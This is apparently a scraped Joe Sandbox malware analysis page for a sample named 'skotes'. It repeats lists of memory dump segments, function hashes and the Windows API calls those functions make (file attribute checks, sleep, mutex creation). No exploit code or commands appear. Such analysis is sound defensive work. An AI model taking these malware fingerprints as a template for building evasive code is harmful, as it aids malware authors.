Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: ?]&$
API String ID: 2531987475-313912829
Opcode ID: 51c92fa44a6a873cad4e6ce71d5102966fe1b9716560a1f49ccb79ce355d3799
Instruction ID: e597e1387c1050b937802a4ecd1e0568d177be26e867a14d376cab6825d73388
Opcode Fuzzy Hash: 51c92fa44a6a873cad4e6ce71d5102966fe1b9716560a1f49ccb79ce355d3799
Instruction Fuzzy Hash: D5414CB6904B04ABCB38EFB5DC459ABBBF9EF89300B145429F856D3650E630D900DB71

Function 00D09BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D09BA8
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c830a37a98d3342302895b39ac16a87bda6611a2d4b4bdf0810ab7ce3f136092
Instruction ID: 76b23126e990e75394c048fbe7b7840a7ac4e0ee638edc9d9b26b2d4d6feb5c6
Opcode Fuzzy Hash: c830a37a98d3342302895b39ac16a87bda6611a2d4b4bdf0810ab7ce3f136092
Instruction Fuzzy Hash: 15312771B012049BEB08DB7CECD97ADF6A2EBD6310F648218E018973D6C77589808B71

Function 00D09CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D09CDD
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ea6df448a71ae0e380b1e6fef7da9ae66a37b9486efba482cfbf70f25578f773
Instruction ID: 70e83d10072d5e41f8910e8a235c3b8b15f603556f49e6b8040529b965468792
Opcode Fuzzy Hash: ea6df448a71ae0e380b1e6fef7da9ae66a37b9486efba482cfbf70f25578f773
Instruction Fuzzy Hash: 003114717452049BEB18DB7CECD97ADF7A2EBC6310F248618E418A73D6CB7589808B71

Function 00D09F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D09F47
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9e61af3cae7cf4a5a9624282e60951a7633a4afa6c87ce09aa25bffb3a52b602
Instruction ID: e690e5e3ca7521067276082e5fc165de05cc7c8ca2f7fd8d84cc79ea32b6e850
Opcode Fuzzy Hash: 9e61af3cae7cf4a5a9624282e60951a7633a4afa6c87ce09aa25bffb3a52b602
Instruction Fuzzy Hash: 383126317053059BEB18DB7CE8987ADBBA2EFC6310F648218E418D73D5C77589808B72

Function 00D0A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A07C
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 78a69107dae4df1a176c1c77fb4f8de484e0e6a1e372c58740dabb44a49a4958
Instruction ID: 3d62d03f2df9cb6d8e7c250367fab7896afe316548072a283ff5fe2a5cdc8891
Opcode Fuzzy Hash: 78a69107dae4df1a176c1c77fb4f8de484e0e6a1e372c58740dabb44a49a4958
Instruction Fuzzy Hash: F23148317113049BEB18DB7CED89BADB762EBD6310F248218E418973D5C77699808B73

Function 00D0A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0A1B1
Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
